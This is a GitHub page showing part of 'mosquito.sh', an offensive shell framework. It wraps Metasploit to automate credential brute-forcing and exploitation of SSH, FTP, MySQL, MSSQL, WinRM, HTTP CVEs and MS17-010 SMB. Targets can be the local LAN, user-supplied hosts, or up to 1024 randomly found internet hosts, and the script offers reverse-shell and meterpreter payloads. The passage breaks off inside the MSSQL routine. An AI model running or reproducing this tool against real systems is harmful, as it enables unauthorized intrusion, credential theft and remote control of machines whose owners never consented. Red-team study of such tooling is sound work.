-
Notifications
You must be signed in to change notification settings - Fork 39
/
mosquito.sh
executable file
·1108 lines (1009 loc) · 50.9 KB
/
mosquito.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# Author: r00t-3xp10it
# mosquito framework v:3.14.3 [STABLE]
# Suspicious Shell Activity - redteam @2019
# Automate remote brute force tasks over WAN/LAN networks
# GitHub: https://github.com/r00t-3xp10it/resource_files
# count duplicate lines: cat telnet-default-userpasslist.txt | uniq -c
##
resize -s 38 120 > /dev/nul
# variable declarations _______________________________________
# |
OS=`uname` # grab OS
SaIU=`arch` # grab arch in use
IPATH=`pwd` # grab mosquito path
htn=$(hostname) # grab hostname
DiStRo=`awk '{print $1}' /etc/issue` # grab distribution - Ubuntu or Kali
user=`who | awk {'print $1'}` # grab username
EnV=`hostnamectl | grep Chassis | awk {'print $2'}` # grab environement
InT3R=`netstat -r | grep "default" | awk {'print $8'}` # grab interface in use
ver=$(cd bin && cat version | grep "=" | cut -d '=' -f2) # mosquito version
RANGE=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'} | cut -d '.' -f1,2,3` # ip-range parsing
# ____________________________________________________________|
# sellect attacker arch in use
if [ "$SaIU" = "i686" ] || [ "$SaIU" = "x86" ]; then
ArCh="x86"
else
ArCh="x64"
fi
## Colorise shell Script outputs
Colors() {
Escape="\033";
white="${Escape}[0m";
RedF="${Escape}[31m";
GreenF="${Escape}[32m";
YellowF="${Escape}[33m";
BlueF="${Escape}[34m";
CyanF="${Escape}[36m";
Reset="${Escape}[0m";
}
Colors;
## Make sure we are in 'resource_files' working directory
if ! [ -e "logs" ]; then
echo "---"${BlueF}
cat << !
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \ __ \_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\____//____/ \__, / \__,_/ /_/ \__/ \____/v:$ver
/_/ 🦟 🦟
!
echo ""${Reset};
cat << !
Before we are abble to install/execute mosquito, we need to download
🦟mosquito working directory to our machine first and then run it.
!
echo " ${BlueF}[${YellowF}execute${BlueF}]${white} sudo git clone https://github.com/r00t-3xp10it/resource_files.git"
echo " ${BlueF}[${YellowF}execute${BlueF}]${white} cd resource_files && sudo chmod +x *.sh"
echo " ${BlueF}[${YellowF}execute${BlueF}]${white} sudo ./mosquito.sh -h"
echo "" && echo "---"
sleep 1
exit
fi
## Arguments menu
time=$(date | awk {'print $4'})
while getopts ":h,:u,:i," opt; do
case $opt in
u)
cd aux
rm -f install.sh > /dev/nul 2>&1
time=$(date | awk {'print $4'})
echo "${BlueF}[${YellowF}$time${BlueF}]${white} Downloading/updating installer .."${Reset};sleep 1
wget -qq https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/install.sh
chmod +x install.sh
./install.sh -u # update (install.sh -u)
exit
;;
i)
cd aux && ./install.sh # install dependencies (install.sh)
exit
;;
h)
echo "---"${BlueF}
cat << !
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \ __ \_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\____//____/ \__, / \__,_/ /_/ \__/ \____/v:$ver
/_/ 🦟 🦟
!
echo ""${Reset};
echo "${BlueF} ${RedF}:${BlueF}Framework Description_"${Reset};
cat << !
Mosquito uses metasploit auxiliary modules + nmap nse + resource files
to be abble to automate remote brute force tasks over WAN/LAN networks.
'scan Local Lan, scan user inputs (rhosts),Search WAN for random hosts'
!
echo "${BlueF} ${RedF}:${BlueF}Framework Info_"${Reset};
cat << !
Author: r00t-3xp10it
Suspicious Shell Activity🦟redteam @2019🦟
https://github.com/r00t-3xp10it/resource_files
!
echo "${BlueF} ${RedF}:${BlueF}Dependencies_"${Reset};
cat << !
zenity|metasploit|nmap|dig|geoiplookup|http-winrm.nse
curl|freevulnsearch.nse|multi_services_wordlist.txt
!
echo "${BlueF} ${RedF}:${BlueF}Limitations_"${Reset};
cat << !
a) mosquito accepts only ip addr inputs,not domain names
b) brute force takes time, use 'CTRL+C' to abort scan(s)
c) mosquito dicionarys can be found under \bin\wordlists
d) finding valid creds sometimes fails to spanw a shell
e) having multiple sessions open migth slowdown your pc
!
echo "${BlueF} ${RedF}:${BlueF}Install/Update_"${Reset};
cat << !
cd resource_files
find ./ -name "*.sh" -exec chmod +x {} \;
update - sudo ./mosquito.sh -u
install - sudo ./mosquito.sh -i
!
echo "${BlueF} ${RedF}:${BlueF}Execution_"${Reset};
cat << !
sudo ./mosquito.sh
!
echo "---"
exit
;;
\?)
echo "${RedF}[x] Invalid option: -${white}$OPTARG"${Reset}; >&2
exit
;;
esac
done
## Make sure we have installed mosquito
if ! [ -f "aux/install.log" ]; then
echo "---"${BlueF}
cat << !
🦟__________
_______🦟________________________ __(_) _ /______🦟
__ __ __ \ __ \_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\____//____/ \__, / \__,_/ /_/ \__/ \____/v:$ver
/_/ 🦟 🦟
!
echo ${white}"---${YellowF} 'Mosquito reports that its ${RedF}not${YellowF} installed'."${Reset};
echo ""
echo -n "${BlueF}[${YellowF}i${BlueF}] Do you wish to install 🦟mosquito dependencies now? (y/n):"${Reset};read quer
if [ "$quer" = "y" ] || [ "$quer" = "Y" ]; then
cd aux && ./install.sh # install dependencies (install.sh)
fi
fi
###################################################################
# * 🦟 FRAMEWORK MAIN FUNCTIONS 🦟 * #
###################################################################
service postgresql start | zenity --progress --pulsate --title "🦟 PLEASE WAIT 🦟" --text="Starting postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
#
# geo_location funcion
#
sh_one () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} geo_location resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" TRUE "Scan user inputs (rhosts)" FALSE "Scan user input host list (file.txt)" FALSE "Internal ip addr to external ip Resolver" --width 330 --height 200) > /dev/null 2>&1
#
## Sellect the type of scan to use
#
if [ "$scan" = "Scan user inputs (rhosts)" ]; then
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 162.246.22.133 104.96.180.140" --width 450) > /dev/null 2>&1
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
packag=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect geolocation package" --radiolist --column "Pick" --column "Option" TRUE "Curl" FALSE "geoiplookup" --width 328 --height 175) > /dev/null 2>&1
if [ "$packag" = "Curl" ]; then
echo "${BlueF}[☠]${white} Using curl package to resolve"${Reset};
msfconsole -q -x "setg USE_CURL true;setg RHOSTS $rhost;resource geo_location.rc"
else
echo "${BlueF}[☠]${white} Using geoiplookup package to resolve"${Reset};
msfconsole -q -x "setg GOOGLE_MAP true;setg RHOSTS $rhost;resource geo_location.rc"
fi
#
# Scan user input host list (file.txt)
#
elif [ "$scan" = "Scan user input host list (file.txt)" ]; then
echo "${BlueF}[☠]${white} Scanning User input host list (file.txt)"${Reset};
list=$(zenity --title "🦟 MOSQUITO 🦟" --filename=$IPATH --file-selection --text "chose host list to use") > /dev/null 2>&1
packag=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect geolocation package" --radiolist --column "Pick" --column "Option" TRUE "Curl" FALSE "geoiplookup" --width 328 --height 175) > /dev/null 2>&1
if [ "$packag" = "Curl" ]; then
echo "${BlueF}[☠]${white} Using curl package to resolve"${Reset};
msfconsole -q -x "setg USE_CURL true;setg TXT_IMPORT $list;resource geo_location.rc"
else
echo "${BlueF}[☠]${white} Using geoiplookup package to resolve"${Reset};
msfconsole -q -x "setg GOOGLE_MAP true;setg TXT_IMPORT $list;resource geo_location.rc"
fi
#
# Internal ip addr to external ip Resolver (dig)
#
elif [ "$scan" = "Internal ip addr to external ip Resolver" ]; then
echo "${BlueF}[☠]${white} Resolving Internal ip addr to external ip"${Reset};
packag=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect geolocation package" --radiolist --column "Pick" --column "Option" TRUE "Curl" FALSE "geoiplookup" --width 328 --height 175) > /dev/null 2>&1
if [ "$packag" = "Curl" ]; then
echo "${BlueF}[☠]${white} Using curl package to resolve"${Reset};
msfconsole -q -x "setg USE_CURL true;setg RESOLVER true;resource geo_location.rc"
else
echo "${BlueF}[☠]${white} Using geoiplookup package to resolve"${Reset};
msfconsole -q -x "setg GOOGLE_MAP true;setg RESOLVER true;resource geo_location.rc"
fi
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# brute_force most common services
#
sh_two () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} brute_force resource_"${Reset};
sleep 1
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;setg LHOST $IPADDR;resource brute_force.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 216.15.177.33 162.246.22.133" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;setg LHOST $IPADDR;resource brute_force.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for targets"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 250 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;setg LHOST $IPADDR;resource brute_force.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# brute_force ms17_010 (smb) service(s)
#
sh_tree () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} ms17_010 resource_"${Reset};
sleep 1
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
payload=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "\nSellect exploitation Payload:" --radiolist --column "Pick" --column "Option" FALSE "generic/shell_reverse_tcp" TRUE "windows/meterpreter/reverse_tcp" FALSE "windows/x64/meterpreter/reverse_tcp" --width 353 --height 220) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;setg LHOST $IPADDR;setg PAYLOAD $payload;resource ms17_010.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 46.147.255.230 194.58.118.182" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;setg LHOST $IPADDR;setg PAYLOAD $payload;resource ms17_010.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 500 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;setg LHOST $IPADDR;setg PAYLOAD $payload;resource ms17_010.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force ssh service :: done
#
sh_quatro () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} ssh_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource ssh_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 147.162.198.31 41.225.253.172" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource ssh_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 250 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource ssh_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# brute_force ftp service(s) :: done
#
sh_cinco () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} ftp_brute resource_"${Reset};
sleep 1
IPADDR=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'}` # grab local ip address
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;setg LHOST $IPADDR;resource ftp_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 143.191.125.117 183.17.237.229" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;setg LHOST $IPADDR;resource ftp_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 400 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource ftp_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# brute_force http (CVE) services :: done
#
sh_six () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} http_CVE resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource http_CVE.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 154.194.198.245 66.199.38.187" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource http_CVE.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 250 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource http_CVE.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force winrm|wsman|wsmans service(s) :: done
#
sh_seven () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} winrm_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
payload=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "\nSellect exploitation Payload:" --radiolist --column "Pick" --column "Option" FALSE "generic/shell_reverse_tcp" TRUE "windows/meterpreter/reverse_tcp" FALSE "windows/x64/meterpreter/reverse_tcp" --width 353 --height 220) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;setg PAYLOAD $payload;resource winrm_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 154.208.147.160 205.65.133.91" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;setg PAYLOAD $payload;resource winrm_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 800 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;setg PAYLOAD $payload;resource winrm_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force mysql service :: done
#
sh_oito () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} mysql_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource mysql_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 213.171.197.190 46.242.242.249" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource mysql_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 500 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
echo ${RedF}"[x]${white} LIMMIT SET TO HIGTH:${RedF}$sealing${white}, SETTING TO MAX ALLOWED.."${Reset};
sealing="1024"
sleep 1
fi
echo "${BlueF}[☠]${white} Limmit the search to: $sealing hosts"${Reset};
msfconsole -q -x "setg RANDOM_HOSTS true;setg LIMMIT $sealing;resource mysql_brute.rc"
else
echo "${BlueF}[${RedF}x${BlueF}]${white} None option sellected, aborting 🦟Bzzzz.."${Reset};
sleep 2 && sh_main
fi
sh_main
}
#
# Brute Force mssql service :: done
#
sh_nine () {
echo "${BlueF}[${YellowF}running${BlueF}]:${white} mssql_brute resource_"${Reset};
sleep 1
scan=$(zenity --list --title "🦟 MOSQUITO 🦟" --text "Sellect scanning method" --radiolist --column "Pick" --column "Option" FALSE "Scan Local Lan" FALSE "Scan user input rhosts" TRUE "Random search WAN for rhosts" --width 330 --height 200) > /dev/null 2>&1
echo "$RANGE" > ip_range.txt
#
# Sellect the type of scan to use
#
if [ "$scan" = "Scan Local Lan" ]; then
echo "${BlueF}[☠]${white} Scanning Local Lan: $RANGE.0/24"${Reset};
msfconsole -q -x "setg RHOSTS $RANGE.0/24;resource mssql_brute.rc"
#
# scanning user inputs
#
elif [ "$scan" = "Scan user input rhosts" ]; then
echo "${BlueF}[☠]${white} Scanning User input rhosts"${Reset};
rhost=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Input rhosts separated by blank spaces\nExample: 185.99.212.190 180.86.155.12" --width 450) > /dev/null 2>&1
msfconsole -q -x "setg RHOSTS $rhost;resource mssql_brute.rc"
#
# scanning ramdom WAN hosts
#
elif [ "$scan" = "Random search WAN for rhosts" ]; then
echo "${BlueF}[☠]${white} Random Search WAN for rhosts"${Reset};
sealing=$(zenity --entry --title "🦟 MOSQUITO 🦟" --text "Limmit the number of rhosts to find\nDefault: 500 (max = 1024)" --width 300) > /dev/null 2>&1
max="1024"
rm -f 1024 > /dev/nul 2>&1
## Make sure the LIMMIT value did not have exceded the max allowed
if [ $sealing -gt $max ]; then
